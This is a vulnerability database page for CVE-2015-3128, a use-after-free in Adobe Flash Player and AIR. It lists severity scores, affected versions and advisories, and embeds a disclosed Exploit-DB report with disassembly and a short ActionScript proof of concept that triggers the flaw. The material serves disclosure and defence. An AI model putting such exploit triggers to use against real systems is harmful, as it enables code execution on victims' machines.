CVE-2015-3128 : Detail

CVE-2015-3128

42.69%V4
Network
2015-07-09
14h00 +00:00
2017-09-21
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3118, CVE-2015-3124, CVE-2015-3127, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, CVE-2015-4430, and CVE-2015-5117.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37860

Publication date : 2015-08-18 22h00 +00:00
Author : bilou
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610] Credit is to bilou, working with the Chromium Vulnerability Rewards Program. --- VULNERABILITY DETAILS When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack. VERSION Chrome Version: Chrome stable 42.0.2311.90 with Flash 17.0.0.169 Operating System: Win7 x64 SP1 REPRODUCTION CASE The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF. (These lines come from flashplayer17_sa.exe 17.0.0.169): .text:004B82D0 push esi .text:004B82D1 mov esi, [esp+4+arg_0] .text:004B82D5 push edi .text:004B82D6 mov edi, ecx .text:004B82D8 mov ecx, [edi+94h] ; edi points to freed memory .text:004B82DE and ecx, 0FFFFFFFEh .text:004B82E1 add ecx, 3Ch .text:004B82E4 mov eax, esi .text:004B82E6 call sub_4B0724 ; crash below ... .text:004B0724 mov edx, [ecx] ; crash here ecx = 3ch (null pointer) .text:004B0726 cmp edx, [eax] .text:004B0728 jnz short loc_4B077E Compile the poc with Flash CS5.5 *************************************************************************** Content of as2_color_uaf.fla: var tf:TextField = this.createTextField("tf",1,1,1,4,4) var o = new Object() o.valueOf = function () { tf.removeTextField() return 0x41414142 } var c = new Color(tf) c.setRGB(o) --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37860.zip

Products Mentioned

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.144

Adobe>>Air_sdk >> Version To (including) 18.0.0.144

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.144

Configuraton 0

Adobe>>Flash_player >> Version To (including) 13.0.0.289

Adobe>>Flash_player >> Version 14.0.0.125

Adobe>>Flash_player >> Version 14.0.0.145

Adobe>>Flash_player >> Version 14.0.0.176

Adobe>>Flash_player >> Version 14.0.0.179

Adobe>>Flash_player >> Version 15.0.0.152

Adobe>>Flash_player >> Version 15.0.0.167

Adobe>>Flash_player >> Version 15.0.0.189

Adobe>>Flash_player >> Version 15.0.0.223

Adobe>>Flash_player >> Version 15.0.0.239

Adobe>>Flash_player >> Version 15.0.0.246

Adobe>>Flash_player >> Version 16.0.0.235

Adobe>>Flash_player >> Version 16.0.0.257

Adobe>>Flash_player >> Version 16.0.0.287

Adobe>>Flash_player >> Version 16.0.0.296

Adobe>>Flash_player >> Version 17.0.0.134

Adobe>>Flash_player >> Version 17.0.0.169

Adobe>>Flash_player >> Version 17.0.0.188

Adobe>>Flash_player >> Version 17.0.0.190

Adobe>>Flash_player >> Version 18.0.0.160

Adobe>>Flash_player >> Version 18.0.0.194

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.468

Linux>>Linux_kernel >> Version -

References

http://www.securitytracker.com/id/1032810
Tags : vdb-entry, x_refsource_SECTRACK
http://rhn.redhat.com/errata/RHSA-2015-1214.html
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201507-13
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/75590
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.